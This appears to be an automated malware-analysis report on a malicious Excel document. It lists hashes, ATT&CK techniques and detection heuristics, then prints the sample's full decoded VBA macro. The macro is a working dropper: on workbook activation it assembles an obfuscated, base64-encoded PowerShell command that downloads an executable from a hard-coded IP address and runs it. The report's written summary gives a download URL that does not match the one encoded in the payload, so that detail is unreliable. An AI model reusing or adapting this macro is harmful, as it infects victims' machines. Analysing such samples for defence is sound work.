Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 17f37fb43ea6a31b…

MALICIOUS

Office (OLE)

6.0 KB First seen: 2021-11-02
MD5: b9232e1b03af7b4d999d9e5e6e9095dc SHA-1: 25157edcc6d3a29f1faa1dbd59fbd39941f35616 SHA-256: 17f37fb43ea6a31b0ec9742294c1f44ff2c054b2f351356cc0bb392f52dcd068
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains VBA macros that are obfuscated using string splitting. The macro constructs and executes a PowerShell command to download and execute a second-stage payload from the URL 'http://3.4.251.39/y3/2/REqests0752w00653.exe'. This indicates a downloader or droppper functionality, likely delivered via spearphishing.

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2406 bytes
SHA-256: 8ae4c80f890a4524f91a599df1c5619d02cb914d28a041cb14e95d5bc62d02b4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Workbook_Activate()
On Error Resume Next

Dim bat As String


Dim s As String

s = s + "start "
Dim a As String
s = s + "/MI" + "N C:\Wi" + "ndo"
Dim dfdf As String
s = s + "ws\Sys" + "tem32\" + "Wind" + "owsPo" + "wer"
Dim fwefewf As String
s = s + "She" + "ll\v1.0" + "\pow" + "ersh" + "ell." + "exe"
Dim ewfwef As String
s = s + " -win " + "1 -e" + "nc "


s = s + "JABQAHIAbwBjAE4"
s = s + "AYQBtAGUAIAA9AC"
s = s + "AAIgBXAGgAZQBhA"
s = s + "GgAbQBuAGYAcABn"
s = s + "AGEAcQBzAGUALgB"
s = s + "lAHgAZQAiADsAKA"
s = s + "BOAGUAdwAtAE8AY"
s = s + "gBqAGUAYwB0ACAA"
s = s + "UwB5AHMAdABlAG0"
s = s + "ALgBOAGUAdAAuAF"
s = s + "cAZQBiAEMAbABpA"
s = s + "GUAbgB0ACkALgBE"
s = s + "AG8AdwBuAGwAbwB"
s = s + "hAGQARgBpAGwAZQ"
s = s + "AoACIAaAB0AHQAc"
s = s + "AA6AC8ALwAzAC4A"
s = s + "NgA0AC4AMgA1ADE"
s = s + "ALgAxADMAOQAvAH"
s = s + "YAMwAvADIALwBSA"
s = s + "GUAcQB1AGUAcwB0"
s = s + "AHMAMAA3ADUAMgA"
s = s + "wADAAMAAwADYANQ"
s = s + "AyAC4AZQB4AGUAI"
s = s + "gAsACIAJABlAG4A"
s = s + "dgA6AEEAUABQAEQ"
s = s + "AQQBUAEEAXAAkAF"
s = s + "AAcgBvAGMATgBhA"
s = s + "G0AZQAiACkAOwBT"
s = s + "AHQAYQByAHQALQB"
s = s + "QAHIAbwBjAGUAcw"
s = s + "BzACAAKAAiACQAZ"
s = s + "QBuAHYAOgBBAFAA"
s = s + "UABEAEEAVABBAFw"
s = s + "AJABQAHIAbwBjAE"
s = s + "4AYQBtAGUAIgApA"
s = s + "A=="


Dim x As Double

ActiveWorkbook.Save

bat = "Gqyztfbtsogpnruooqr.bat"

Open bat For Output As #1
    Print #1, s 
    Close #1
    x = Shell(bat, 0)

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True